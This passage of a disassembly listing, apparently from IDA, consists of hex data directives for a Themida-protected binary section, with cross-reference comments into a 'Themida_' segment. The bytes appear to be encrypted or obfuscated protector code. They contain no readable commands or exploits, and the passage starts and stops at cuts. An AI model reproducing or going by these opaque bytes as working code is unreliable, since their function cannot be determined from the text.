1F952C20h, 95FF006Ah dd 6483061h, 3BEBC08Bh, 0CF36A2EAh, 2FBEC6C8h, 3DE8408Eh dd 0C1B7CB11h, 0DA160879h, 0D590CAF4h, 0F3A47804h, 4C5D76E8h dd 5BC714F4h, 20DDD26h, 6857FFADh, 0DA8D81Bh, 883B5D1Fh dd 41B2DCCBh, 0E99B441Dh, 266h, 0D98C6660h, 0F04C1F6h dd 3584h, 0FF016A00h, 482C21B5h, 1E858D06h, 0FF064B83h dd 18589D0h, 8B06482Ch, 0CEFC1FEh, 6000068h, 6A006A20h dd 0D685702h, 0FF000100h, 482C0195h, 32E906h, 85C60000h dd 648276Dh, 30DF6856h, 0B5FFA9C5h, 6482195h, 831E858Dh dd 0D0FF064Bh, 1B198589h, 858D0648h, 6481015h, 6A406A50h dd 95FF5605h, 6481B19h, 0C361h, 2 dup(0) db 2 dup(0) word_593056 dw 8B52h ; DATA XREF: Themida_:0053CDC8o dd 428B60D4h, 0E3858908h, 8B064D62h, 85890C42h, 64D62DBh dd 8910428Bh, 4D62DF85h, 19B58D06h, 8D064D63h, 5B7E3585h dd 61D0FF00h, 0CC25Ah, 62E3B58Bh, 858B064Dh, 64D62DBh dd 62DFBD83h, 0F00064Dh, 784h, 0E9068900h, 2, 0CF0688h dd 0 db 3 dup(0) byte_5930B3 db 52h ; DATA XREF: Themida_:0053E2E8o dd 8B60D48Bh, 85890842h, 64D62E3h, 636AB58Dh, 858D064Dh dd 5B7E35h, 5A61D0FFh, 62E3858Bh, 4C2064Dh, 0E3858B00h dd 8B064D62h, 0E3858900h, 0CF064D62h, 0 dword_5930EC dd 40B58960h, 89064D63h, 4D633C85h, 0E5858D06h, 8B064821h ; DATA XREF: Themida_:0053FDFCo dd 85894440h, 64D6379h, 63AFB58Dh, 858D064Dh, 5B7E35h dd 8B61D0FFh, 4D634085h, 9D8BC306h, 64D633Ch, 3C43B70Fh dd 5B8BD803h, 3C9D0378h, 8B064D63h, 0B5032473h, 64D633Ch dd 207B8B56h, 31C738Bh, 4D633CBDh, 3CB50306h, 0FC064D63h dd 41FFC983h, 63409D8Bh, 178B064Dh, 633C9503h, 0C783064Dh dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h, 43FFFFFFh dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h dd 86048B0Fh, 633C8503h, 8589064Dh, 64D6340h, 0CE8BF08Bh dd 0BD81C18Bh, 64D6379h, 0C0300000h, 0D850Fh, 0E8C10000h dd 0FFC2514h, 8E90000h, 0C1000000h, 0F82512E8h, 8B00003Fh dd 4D6379BDh, 70C8306h, 7148B06h, 8124C28Bh, 0C18B813Ch dd 57840Fh, 0BD810000h, 64D6379h, 0C0300000h, 0D850Fh dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h dd 81000000h, 4D6379BDh, 30000006h, 0E840FC0h, 25000000h dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 64D62E7h, 598589h dd 858D0648h, 64D637Dh, 308D8589h, 858D0648h, 64D6344h dd 15798589h, 6E80648h, 24000000h, 66BBC41Bh, 81665804h dd 81A25DEBh, 7105C0h, 0B9F78A00h, 0 aL4S db '▀4',8,'``И',0Bh,0 dd 27D20000h, 708F7DB7h, 10D8F314h, 10E980h, 81A10000h dd 7C0F19Bh, 204CE9E0h, 59F85D8Ah, 81619D7Ch, 0F72086D6h dd 0EE816124h, 5AE553C6h, 81FE8B66h, 59E922EEh, 0F606017h dd 83h, 0CA816100h, 7EFCF0BBh, 0EBEE8161h, 0F5F19B4h, 783h dd 0C6BF5300h, 5F4AB582h, 0E9083489h, 11h, 70FB772Dh, 72CCE960h dd 6C62104Ah, 5ECC7547h, 0C3815072h, 7D57A5CDh, 2E9835Ah dd 8E0F4949h, 19h, 13890Fh, 0EE90000h, 1E000000h, 0B238530Eh dd 19DCC8C5h, 4DFEAFB7h, 0C8F981BEh, 0FFFFF8Fh, 0FFFF4B85h dd 0F98B66FFh, 0E9FA11D0h, 0A5964803h, 0F163AC64h, 57773A2h dd 790B3783h, 0FFDA7218h, 829987A7h, 30E78748h, 47AC2603h dd 23D87A79h, 29938A4Dh, 3FDB312Fh, 30DA3A36h, 8E6051D9h dd 33B3DE4Ch, 8ABC3776h, 8D592AF0h, 36923A10h, 0B5E38CEh dd 3FDA3767h, 30DA283Bh, 295C38D9h, 0D8DA37ECh, 30DA3765h dd 1F7FC05Bh, 0EBB39C52h, 0AC0A5D2Fh, 7F672B99h, 6ACB8028h dd 30D91930h, 30D6DEECh, 0C77C3776h, 309BE8A0h, 0E8955360h dd 0B5575AE2h, 36975282h, 0B8D56746h, 30DA37D1h, 305538BDh dd 6ADA3776h, 3FFE33B2h, 30DA3319h, 0AB6451CEh, 0B557CE95h dd 36975274h, 0C7B8EBFh, 0C96451BCh, 14DEBEB4h, 0CF128034h dd 78F74208h, 0B1918DC8h, 0F0516AEEh, 0D88937D9h, 30DA37DAh dd 6B196CCCh, 34FE6BFFh, 34FE73BAh, 30DA3780h, 0D719648Dh dd 0E1826C5h, 53CED70Fh, 0B5D557D9h, 30DA37E8h, 40288D10h dd 512ABC5Dh, 10338A1Eh, 45DA3186h, 5167B46Eh, 30DC7F9Fh dd 638A2EADh, 4A62F767h, 0B9DA3772h, 78F296BEh, 1C47BA9Bh dd 0CFDC7D7Eh, 0B3826CB4h, 78F6560Eh, 27AE37DFh db 0BCh, 64h, 62h byte_59346F db 4Ah ; DATA XREF: Themida_:0053ED14o dd 0B9DA3772h, 78F296BEh, 2B47BA9Bh, 0CFDC7D63h, 3F826CB4h dd 0BB23CF0Ch, 61DA5D19h, 30DA3404h, 0F3831776h, 1496BE62h dd 149EB699h, 30DA2BCAh, 0F38B7667h, 58085626h, 340B9415h dd 0C15151A8h, 5515AAFBh, 8FBC3176h, 0B557C4B6h, 3697667Eh dd 0D88F370Dh, 30DA37B0h, 6D196AF9h, 34FE5B65h, 34FE73F7h dd 30DA3726h, 7D1962D8h, 0EFAFF741h, 18011D1Ch, 560AC877h dd 99E9DE58h, 0B4D5F7E7h, 30DA37FBh, 0D88D3751h, 30DA379Eh dd 6F1968EEh, 34FE4BEEh, 34FE7332h, 30DA37C2h, 881960ABh dd 4FAD763Ah, 0D892195Bh, 30DA3795h, 241E614Bh, 6F238870h dd 0B35E8ED3h, 3C3332F5h, 0B1DA37ECh, 0A74BD8D7h, 0FFEA56B8h dd 512E1E3Fh, 5447BA90h, 5ADC7F2Ch, 333261B3h, 10DA37D9h dd 0B984F4B2h, 0B1DE1302h, 26DE137Fh, 76DA379Dh, 0DEA7F498h dd 0E15164EEh, 30DCDEE9h, 6E6937D9h, 0F37DB083h, 30DA34CEh dd 5689663Bh, 6F78EB27h, 0BB39C890h, 0E747BA9Dh, 3FDC7AD6h dd 0B557CF6Eh, 3697665Ch, 0D88F371Ch, 30DA3738h, 6D196ABDh dd 34FE5B47h, 34FE73E6h, 30DA37A6h, 0F919629Ch, 0CA6538FEh dd 0BBBCE789h, 3F1A3CC1h, 30DA4319h, 3E2BB6CEh, 0BDB64A97h dd 7891532Eh, 0FF10B6DFh, 888A72C6h, 30DA3777h, 0D88B3751h dd 30DA379Eh, 69196EEEh, 34FE7BEEh, 34FE7332h, 30DA37CFh dd 31966ADh, 78605CEDh, 82D2D601h, 5A39C8E9h, 333264CEh dd 10DA3767h, 0B981F4E8h, 0B1DE1385h, 26DE13A8h, 73DA3776h dd 0B027F468h, 30C9DE35h, 0FEF537CEh, 4828D2BFh, 5051F4A1h dd 0B44A44A3h, 0FC2D56Bh, 0EC47BA14h, 0B0DC7A5Eh, 0B5573A54h dd 3697667Eh, 0D88C370Dh, 30DA37B0h, 6E1969F9h, 34FE4365h dd 34FE73F7h, 30DA372Eh, 9F1961DBh, 5A0AC806h, 33326667h dd 10DA37B3h, 0B983F480h, 0B1DE13A0h, 26DE1332h, 71DA373Bh dd 4DAEF4CCh, 3F1A3CF0h, 30DA61E3h, 66DA5DB3h, 30DA3431h dd 0F38417ECh, 14AEBE28h, 149EB63Fh, 30DA2299h, 0F38C71CEh dd 0AD57B7B4h, 36927CD7h, 0D88B37B3h, 30DA37EFh, 69196E56h dd 34FE7BB2h, 34FE731Ch, 30DA37D2h, 10196626h, 0C8F88291h dd 0BC96C24Dh, 30DA3454h, 0B1BCC276h, 0CFDA97CAh, 7354827Eh dd 3A5F389Ch, 0D9DA3767h, 30DA37B6h, 0C7AB1DF0h, 8D576D10h dd 369752B3h, 5941BAB6h, 4D6231D0h, 3507C92h, 78F492E2h dd 0F1151CB5h, 0D6E747BAh, 6E3FDC7Ah, 5CB557CFh, 1C369766h dd 38D88F37h, 0BD30DA37h, 0E983196Ah, 8BA4F305h, 6A51B6C0h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 0E85DC351h, 6D794C30h, 8BD58A4Bh, 0CE9C3h dd 322C0000h, 0CC7AEBC3h, 0F2358D5h, 72BE0A09h, 8B5F0727h dd 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 0D0DBBE33h, 0B70F7F94h, 0E9BD83F8h, 64820h dd 0BD830975h, 6482C61h, 50197400h, 0B8C08B53h, 47Ah, 218589h dd 9D8D0648h, 64AB093h, 585BD3FFh, 2C61BD83h, 74000648h dd 0B8535017h, 47Ah, 218589h, 9D8D0648h, 64AAD34h, 585BD3FFh dd 6A5F51h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0C01150C3h, 8D8DC08Bh, 64D6B43h, 86F8F781h dd 8D8918C8h, 6480A19h, 2840Fh, 0D38A0000h, 6A9BD0Bh, 85C70648h dd 6480F35h, 654Ch, 2A4ABA66h, 242585C7h, 648h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 1F35DBC3h, 8BB09475h, 482EA1BDh, 0B5B5FF06h, 6A064824h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0DDD9C355h, 0AEB8EB96h, 8B56C795h, 0BD95FFD9h dd 6A064820h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 7EE8C353h, 6AF869E2h, 6195FF00h dd 8B064830h, 0BC3CEBC0h, 23956881h, 1547D3Ah, 83D64D86h dd 87855A56h, 0CA86A4DDh, 0CF8E44FAh, 0DF98E090h, 510BC924h dd 9035E212h, 23591956h, 2F1BEDDEh, 81280E65h, 0EFDCD65Ch dd 805189A2h, 0E9AD42BCh, 13Ch, 46h dup(0) db 2 dup(0) word_593A12 dw 0 ; DATA XREF: Themida_:0053F18Co dd 8 dup(0) dd 285DBD83h, 0F010648h, 61784h, 88C0F00h, 0F000000h, 28Fh dd 0F616000h, 18Ch, 85C6F500h, 648276Dh, 8B606043h, 77B4BEC8h dd 0E96160B3h, 0Ah, 0AE9C601Dh, 9258AE83h, 6861BBD2h, 0F96E490Fh dd 0AE9h, 0EA408000h, 0FA14E998h, 81561A6Eh, 99FA2434h dd 6A15CBh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 0D06726C3h, 9D737D13h, 8880F9Fh, 0F000000h dd 280h, 0FF616000h, 482195B5h, 890F6006h, 6, 870Fh, 11E90000h dd 5F000000h, 6A5B5B4Ah, 3F11C92h, 701F8A6Ah, 13823504h dd 1E858D61h, 0FC064B83h, 13E9D0FFh, 4A000000h, 605CAB74h dd 0EF1CF025h, 4173E162h, 6C5384Ch, 85898E1Bh, 6481BBDh dd 0BEEA8A60h, 64C900DFh, 6D85C661h, 50064827h, 61CF8B60h dd 4E8h, 0ADAD5600h, 328C0FA8h, 50000000h, 0EE952h, 0EC180000h dd 0B222F7E7h, 0EE410557h, 0BA3FA0A5h, 14E9310Fh, 97000000h dd 63BB2F91h, 9F3C2C19h, 0E62F86C3h, 0BBEFEB36h, 5A5E8023h dd 52505058h, 8E95250h, 0D000000h, 200594C8h, 0F5AD88Dh dd 5A616031h, 0F310F58h, 684h, 0F525000h, 5A585A31h, 24448B58h dd 72B36004h, 0FAB86660h, 8B6161FBh, 1C8A0F00h, 50000000h dd 0F525052h, 0F585A31h, 0BE931h, 0C4DB0000h, 22710FFBh dd 57CA11Ch, 89585A18h, 0F042444h, 0D8Ch, 5E86000h, 9E000000h dd 765F78E5h, 6A58615Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 0DC73C355h, 0A0C7A35Ah dd 0F565A01h, 188h, 8B0FF900h, 11h, 0D7BF0F60h, 7E9h, 8205CE00h dd 84663BC3h, 95B5FF61h, 60064821h, 8A60C18Bh, 8A0FD8h dd 61000000h, 1E858D61h, 6A064B83h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0EFB7C356h dd 7864D857h, 6E9h, 6BA3DE00h, 0FFD92754h, 51006AD0h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0F9DAEEEh, 1986h, 14E900h, 7D630000h, 48124783h, 0D9C2FA00h dd 1E2319B0h, 0F141BEA0h, 8589328Eh, 6481F95h, 742F68F8h dd 860FCD25h, 12h, 52505250h, 585A310Fh, 5250310Fh, 585A310Fh dd 3481585Ah, 0AADC0024h, 10E93Dh, 57490000h, 14D7ED82h dd 1D5EB118h, 0F80B2A8Bh, 0B5FFF147h, 6482195h, 0D8F0Fh dd 8E90000h, 0F9000000h, 84235FCBh, 8D83D1E8h, 4B831E85h dd 28850F06h, 60000000h, 0AE9h, 0DDE31100h, 0A9AFD8A8h dd 0E9B9DCE8h, 12h, 5EA833A1h, 32EB3B76h, 4F99D278h, 529DACC7h dd 0FF61411Eh, 0CE9D0h, 5EE10000h, 60F89E4Dh, 768901E1h dd 8589DC0Ch, 648236Dh, 14E9h, 5E6A00h, 0D30D9430h, 10296676h dd 0CDB944CBh, 3728F4F0h, 6D85C6A7h, 50064827h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 64C35343h, 1A2F4A9Bh dd 4C2A685Dh, 5250C8EFh, 13E9h, 27F45D00h, 440C9EB9h, 0F5F839A8h dd 5EE56CC8h, 2EC5D069h, 860F310Fh, 6, 870Fh, 585A0000h dd 7C243481h, 6A5F7390h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 1607C353h, 0B7A50F6Fh dd 60D75EEBh, 0F98BD68Bh, 21B5FF61h, 0F06482Ch, 583h, 5E536000h dd 858D61FCh, 6483878h, 0DC1DB860h, 14E95897h, 0B1000000h dd 0EDD8464Bh, 20703B25h, 0CC3C0BCEh, 0FDE4F1F7h, 61A2BC60h dd 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 0EEBEF7C3h, 1ECB3244h, 1850F18h, 0F8000000h dd 9800Fh, 66600000h, 1435E381h, 89616160h, 48092185h dd 78B0F06h, 0F000000h, 181h, 0EE9F800h, 9A000000h, 0AFC95086h dd 99295110h, 1C7F03F4h, 1D2E96Ch, 56600000h, 12E8h, 26A59C00h dd 8F31CA77h, 0F29C2484h, 0E34FF5A9h, 5B701C03h, 0DE8B6658h dd 11E96061h, 43000000h, 0FC9C2E2Ch, 79765CA1h, 0BC293AE7h dd 0E2044755h, 52509561h, 52505250h, 585A310Fh, 12E9310Fh dd 26000000h, 9400E2DFh, 0C99B391Dh, 350D0E70h, 88F17311h dd 0F585AD1h, 12E931h, 5A320000h, 25A9519h, 7C34D644h dd 47D36C2Eh, 0B4E5E222h, 6050585Ah, 0DB30BE66h, 66609561h dd 4103CE81h, 1840Fh, 61F50000h, 850FEC8Bh, 1Eh, 0BE960h dd 81CC0000h, 0D0D59418h, 0BA154011h, 7E9ADh, 0D47E0000h dd 8A9D141Ah, 0C4836108h, 816660FCh, 0E8B530C9h, 7, 0CADEB662h dd 0E9FB56A2h, 12h, 7EE2A520h, 0DC104434h, 5291B0C1h, 0E0A1D80Ah dd 615951C3h, 0CE960h, 2D390000h, 352D7A32h, 27AC71B1h dd 0E8FEE1h, 5A000000h, 7210EA81h, 45C7064Dh, 0FCh, 5DBA8300h dd 1064828h, 98840Fh, 6A520000h, 0FF0F6A00h, 481BBD92h dd 82895A06h, 64D6B89h, 6B8D9A8Dh, 0C752064Dh, 12803h dd 0FF505300h, 481F9592h, 8D525A06h, 4D6B8D9Ah, 0B2FF5306h dd 64D6B89h, 92192FFh, 0B5A0648h, 8D5074C0h, 4D6B8D9Ah dd 247B8D06h, 0F981C933h, 104h, 8141D474h, 452E393Ch, 0EE754558h dd 2B39348Dh, 0BA8D0C75h, 6480259h, 0F30C4D8Bh, 0AAC032A4h dd 875FF52h, 259828Dh, 0FF500648h, 48236D92h, 0C00B5A06h dd 45C7A075h, 1FCh, 0C707EB00h, 0FC45h, 8B610000h, 0C2C9FC45h dd 0DE90008h, 5C000000h, 0E99E4CFFh, 6F7A6422h, 4876AD63h dd 7E9h, 2F836500h, 0D06E90BDh, 8EBD28Bh, 33DB53C2h, 77E7339Ch dd 0DBBE9h, 74476800h, 58E9064Dh, 68FFFB0Ah, 64D756Ah dd 0FB0A4EE9h, 773568FFh, 44E9064Dh, 68FFFB0Ah, 64D7886h dd 0FB0A3AE9h, 7A1A68FFh, 30E9064Dh, 68FFFB0Ah, 64D7C62h dd 0FB0A26E9h, 7DF668FFh, 1CE9064Dh, 68FFFB0Ah, 64D7EFBh dd 0FB0A12E9h, 0D92537FFh, 0DB273E5Fh, 0DC284061h, 0DF2B2374h dd 0DF2B2475h, 5BE0E675h, 5F003884h, 45163E8Ah, 491A428Eh dd 870B4591h, 26178763h, 0BE155614h, 1D698174h, 115D7522h dd 0D8F05027h, 9213606Ch, 0C669498Eh, 0D37BEF7Dh, 0C6EC560Eh dd 3206990Fh, 287D5B39h, 11000000h, 4F09E95Bh, 323E2A03h dd 498E9ED9h, 933EC13h, 50EA3630h, 0EDF2E24h, 0BA193956h dd 39413F44h, 0B9445Bh, 81DA0000h, 75221D69h, 62150E5Ah dd 7C1B2470h, 96221A66h, 4FC6B66Dh, 5DA9C099h, 82CE84D1h dd 0AE6FAE6h, 4FC6B794h, 6BDB7998h, 0C94FC6B7h, 0D384CC66h dd 0A178B3FFh, 0FDB899Fh, 498E9EFCh, 4B974B6Ch, 1B0D2900h dd 43F53CF4h, 333B0F2Dh, 3B4FD42Fh, 2CF7431Ah, 83E739D5h dd 0C94EF767h, 33DA354Fh, 0DD2B2415h, 0B0632A65h, 0DF59B0EAh dd 0C093A9BEh, 0F97D8D74h, 0C0CCBF1Fh, 0BD38677h, 2A3A0000h dd 282576DEh, 2D2374DCh, 302677E1h, 342B6CE4h, 0E9F170E8h dd 351F6B64h, 37216D64h, 2F297566h, 8307C6Eh, 12844894h dd 22561427h, 66817FC3h, 6981221Ah, 5B49331Dh, 4C420EE9h dd 0E04FC6B3h, 707CE841h, 498E9E9Bh, 57F52ED1h, 560EDEE3h dd 58845884h, 0EDF2294h, 61EF1256h, 560EDEEDh, 456E03Fh dd 41384BC1h, 0FA4B5B39h, 0E3000000h, 221D6981h, 150E5A75h dd 0C6B65477h dd 0A4A8944Fh, 4FC6B7B2h, 0B7BEB0BCh, 936E4FC6h, 0BEC1927Bh dd 998799BFh, 0A1B9A670h, 1DCEE755h, 27F356D1h, 8B42732Fh dd 111D043Fh, 717D8E44h, 4FC77DFDh, 4F3F0B2Fh, 0DD4FC77Eh dd 942EB42h, 0FFF61030h, 49DAFD1Ah, 391533DAh, 498EA3A2h dd 3C26A38Ch, 0EC40EC24h, 567F1B15h, 5BDE3884h, 4C420EE9h dd 0DD560EC5h, 0E169818h, 19F80E11h, 4F6854F0h, 6CD34C98h dd 0FDF7FAF9h, 0A24FDDDh, 0D4950362h, 6AD6394Fh, 124A9651h dd 66809651h, 7B6E111Ah, 0F40DF42Fh, 0AF73FD0Dh, 0ED36CCBFh dd 0AB008h, 0F9451700h, 0FB471E3Fh, 0FC482041h, 0FF4B0354h dd 0FF4B0455h, 7B00C655h, 7F201864h, 65361E6Ah, 693A226Eh dd 0A72B2571h, 27F76783h, 9E355614h, 1A668194h, 58698122h dd 0C6B32294h, 46A30F4Fh, 9DC89DA1h, 0D983AA85h, 965A866Fh dd 4FC6B320h, 0E12D2314h, 12A0366h, 0DBAAA9ACh, 1E3FDB87h dd 1847004Ch, 0F73EF642h, 2D112F45h, 2C06520Ch, 8F771340h dd 60726349h, 850B7B4Fh, 629560Fh, 0F20D131Fh, 85281B39h dd 1B41560Fh, 853B2B3Fh, 16F9560Fh, 0D673D8EDh, 0D06AE86Ah dd 0CAD54B8Ah, 0B95B397Bh, 6D8h, 815A864Dh, 3A0F1864h dd 0C6B3281Eh, 9250C4Fh, 62FE1626h, 188E627Eh, 1C4FC6B3h dd 7E5119F5h, 0B0498EB6h, 0C4BED651h, 9D560EB7h, 90AF78C4h dd 0B7AC8FDBh, 0FAD0E06Bh, 0DDD5701Bh, 1613B026h, 0B4A55B39h dd 0D7F3519Dh, 560EAF67h, 5FD06AC5h, 684h, 0DD292415h dd 0CC183562h, 0FB17EE53h, 0D3E95B41h, 9E525975h, 759C498Eh dd 0DFA8A2AAh, 9FB9560Eh, 0AEA7D853h, 0DF80E962h, 0C987C00Ch dd 0B8A550B3h, 0BAC53B9Ah, 0C95B393Dh, 648h, 101D865Dh dd 0A1110EEDh, 0A6260511h, 72CEE656h, 8F47915Eh, 5F72E349h dd 0EA363013h, 0E0210861h, 1C30F7C4h, 0CAE454CAh, 0FBD4D89Eh dd 484F54AFh, 0B68AB64Fh, 0A0B6CC85h, 8F76CB54h, 961AD94h dd 0D3EBA972h, 0BF0BC5F6h, 0D952AD73h, 47A6C080h, 4334533h dd 526EDA33h, 0D531D731h, 0AE887588h, 0A46884C6h, 0EB59B8D5h dd 7EC915CAh, 98940AE6h, 7998DA24h, 2DE8690h, 68B2FED9h dd 9D97E3F7h, 18D0E6FCh, 17EE53CCh, 0E09247F7h, 14093246h dd 8E5h, 0E44C984Ch, 0E64E9AB3h, 0E54F9BB5h, 0E64E9AB4h dd 0E64E9AB5h, 15CA4F77h, 1BCE8FC9h, 1F3465CFh, 223869D3h dd 367A5ED6h, 142A241Ah, 0E1ED0856h, 221D6981h, 69D7ED4Fh dd 68849550h, 4FC6B2F6h, 0F932DB36h, 925E0610h, 498BC049h dd 0F8B49C83h, 56142572h, 9728BB9h, 0F6E0079Dh, 481B56E0h dd 270E4692h, 89650331h, 56140F1Dh, 837F00Fh, 124E0652h dd 68E32F29h, 553D3501h, 0C56140Fh dword_594524 dd 815D0B57h, 0EC378358h, 0F473715h, 48E55614h, 0AA512753h ; DATA XREF: Themida_:0053FF94o dd 0B783AAE1h, 9EECFE9Fh, 0D17C737Eh, 0EF38D164h, 0F1656955h dd 785614A0h, 16F9115Dh, 30FA70FCh, 7367B687h, 6A431C27h dd 0EF46687Fh, 0EE3A1546h, 467DD335h, 20E3B99Bh, 85D187B0h dd 239B259Ah, 51DDCCDDh, 20384E04h, 0FF64BD4h, 4D5E7425h dd 38E95D71h, 0E44B4979h, 79391688h, 48FB1649h, 25FC4793h dd 312943FCh, 30497929h, 0FB472036h, 74661912h, 0FB511F28h dd 0A5BB6D18h, 95E1F96Eh, 131B89Bh, 81560000h, 75221D69h dd 7B19125Eh, 4FC6B30Bh, 7408C5Eh, 4400445Dh, 656365FEh dd 0BED666C9h, 54A0B9A2h, 5CEA2BAh, 47498CB0h, 0EA1A4AE8h dd 8CD7CAF0h, 794A9h, 9DE9FB00h, 9FEBE2B3h, 0A0ECE4B5h dd 0A3EFE7B8h, 0A3EFE8B9h, 9F24AAB9h, 83D47CC8h, 89DA82CEh dd 8DCE86D2h, 0CBCF89D5h, 2BDBCB9Fh, 7A595614h, 1D698138h dd 0F642163Fh, 5B74231Ch, 0BFBEC10Dh, 0D1A64CA8h, 30CECF98h dd 66CE37CEh, 76D21E35h, 9DEA9F0Dh, 6DC9A1C9h, 0C29CBDE9h dd 0DE69B5ACh, 0A9C1A28Bh, 0B37FE25Dh, 0F864B0A2h, 0C2158CA7h dd 0CF66C10Dh, 766CCF5Ch, 0EE48212Ah, 0D21E396Ah, 0E5312659h dd 5CB70F5Ah, 9A0593ECh, 0B5D2B503h, 0CDE3FC59h, 0F963CA16h dd 0F1961CA7h, 146754h, 86FF0000h, 5F6B7C55h, 4FC6B2EFh dd 0EF4BE23Dh, 812Ch, 6981E200h, 108A221Dh, 514FC6A3h dd 60FF4894h, 44043F8Bh, 6B62D72Eh, 3046061Fh, 748A60D5h dd 4BF9105Ch, 0F4EFF632h, 0F9156A15h, 0A1F80955h, 78439F5Ch dd 7566F743h, 1D961E29h, 7E4FC78Eh, 53087D58h, 81F34D07h dd 72251E6Ah, 0A7C5061h, 2A4FC6B3h, 2F7B5407h, 0A6FC4DD6h dd 9DE9FA6Fh, 0BB8DF7B3h, 0C0A24FC6h, 54F11A24h, 0B0A6AA96h dd 844FC6B3h, 9C94919Dh, 2AFFFFFEh, 32F3Fh, 5A86D300h dd 0C6B32096h, 21ED144Fh, 59D21E34h, 9550A2Bh, 234FEB3Eh dd 4FC6B33Fh, 0AF4EAFCBh, 414CADD9h, 3590C24Ch, 0F65EAAC0h dd 895FADA5h, 0F6C87EBh, 28A956Ch, 4FC6F698h, 7AC511C9h dd 0D16F85B7h, 0F66DE1EDh, 60BF4FC6h, 0F9C28ED6h, 33498C03h dd 46103ECCh, 8ED9CAF0h, 600AFh, 29756700h, 2B776E2Fh dd 2C787031h, 2F7B5304h, 2F7B5405h, 2BB01605h, 2F70E834h dd 1546EE3Ah, 194AF23Eh, 573BF541h, 2D473713h, 0EE55614h dd 1D6981C4h, 445A7522h, 2306418Dh, 2516520Ah, 552DC28h dd 657014Dh, 46570551h, 3FCB0BCDh, 4AF33FAEh, 7AE6322Dh dd 0F13A8661h, 1649FE18h, 112BF440h, 0C758493Dh, 1344EB4Fh dd 0D534EF3Bh, 7A9B467Dh, 4871E124h, 67F8428Eh, 6A2C2470h dd 54F1B655h, 2472Eh, 55BC800h, 703854CFh, 0F5B1284Ch dd 0ED9790DCh, 0B5B16DE1h, 0FF60BF4Eh, 9CA49FEBh, 49F49F76h dd 213AAA69h, 8E62FE4Ah, 4EB5B118h, 3B19F51Ch, 53E00FA8h dd 20FDBh, 55B7300h, 0E95D71CFh, 4B4FC6B2h, 18415BE4h dd 0D0E4F442h, 0D1E5D1E2h, 4A96DE38h, 0B5B128B9h, 0B3D0467Dh dd 0D053DFA4h, 1E4h, 5055B66h, 3B29004Ch, 0C6B3432Fh, 4307334Fh dd 4FC6B353h, 461D3EE1h, 3ED831FAh, 62FA45ECh, 7135F79h dd 284C256Bh, 6DA88EB1h, 0E00FECF7h, 1AE9753h, 714D0000h dd 782C7A10h, 2632C432h, 4EB54230h, 2B111D04h, 4A05055Bh dd 45DC45FEh, 0B36B5317h, 36D94FC6h, 293A310Ah, 0C6B33125h dd 51C034Fh, 0F24BE73Ah, 284C0E5Ah, 92C399B1h, 50B972BEh dd 0BB3194C6h, 53E01028h, 1635Bh, 5586F300h, 10F9327Eh dd 35815906h, 523152EAh, 6D65073h, 471B3CD6h, 4AFA41FBh dd 693A1632h, 0C3498EDEh, 0A5B9E35Ch, 0F1FD5C9h, 0C9BD9156h dd 6B560F1Fh, 77C35EC4h, 0F1F87FBh, 13F2E056h, 397E029Dh dd 3E815Bh, 5B150000h, 5975D3E9h, 498E9E82h, 0C214FD26h dd 96479612h, 0C08BA67Ch, 4E9AB3A4h, 64B0A2D5h, 939F86DBh dd 0EBE63D7h, 0F7CE0456h, 86AC7687h, 0A4A0A4AAh, 0C7B7CC8Ah dd 97CC5B39h, 62000000h, 20965A86h, 144FC6B3h, 1E3421EDh dd 312659D2h, 895E77E5h, 2B4CF13Dh, 3F60EB37h, 2975DF2Bh dd 130C5810h, 6388E42Eh, 9E4FC6B6h, 61D880CCh, 0CF9BC9DFh dd 498C2474h, 0CF1B3324h, 0FF21ED54h, 3C134420h, 401748F0h dd 0DEC216F4h, 2CF7CAF7h, 3B8C9h, 14D1F00h, 34F0657h, 4500859h dd 7530B4Ch, 7530C4Dh, 8308CE4Dh, 87D880CCh, 8DCE86D2h dd 91D28AD6h, 2FA38DD9h, 2F6FDFEBh, 26BD5614h, 1A66811Ch dd 58698122h, 0C6B32294h, 16EF124Fh, 5586641Eh, 0CFD32C78h dd 3610CDC6h, 81590610h, 382E0735h, 44CE33ECh, 3A865CFBh dd 0CFFD7602h, 18694FC6h, 0F6B039B2h, 151CF61Ch, 1B2F0D23h dd 498ECF90h, 6C4A8798h, 0C1E6C148h, 2AF22C66h, 22EC99ECh dd 4D372100h, 3F1D6981h, 362F4516h, 210861EAh, 4EF74326h dd 43ED3931h, 8344CECh, 8E927744h, 0FDBFF49h, 560ED39Fh dd 82A8728Dh, 9208A49Fh, 0CF560ED3h, 0DE81CA16h, 0C070BB07h dd 0A5C06BAAh, 0C3E056ADh, 0C05B3931h, 3Eh, 9E95B56h, 3F1D0450h dd 3B2B3F1Bh, 0F94FC6B3h, 9B70FC16h, 0D1498E9Eh, 3647F52Eh dd 8448530Dh, 560EB312h, 0EF24FF22h, 4723EF31h, 560ED453h dd 71E71E14h, 5B39366Eh, 0DF15h, 6981A900h, 45163F1Dh dd 77281DF9h, 6C0B1460h, 83212A76h, 0DA348052h, 1F19657Dh dd 0C6B67093h, 0A8C4984Fh, 4FC6B7B6h, 84FAD676h, 0A84FC6B7h dd 0C996A089h, 0CA8BC511h, 0FE53CC18h, 363A263Eh, 498EB71Dh dd 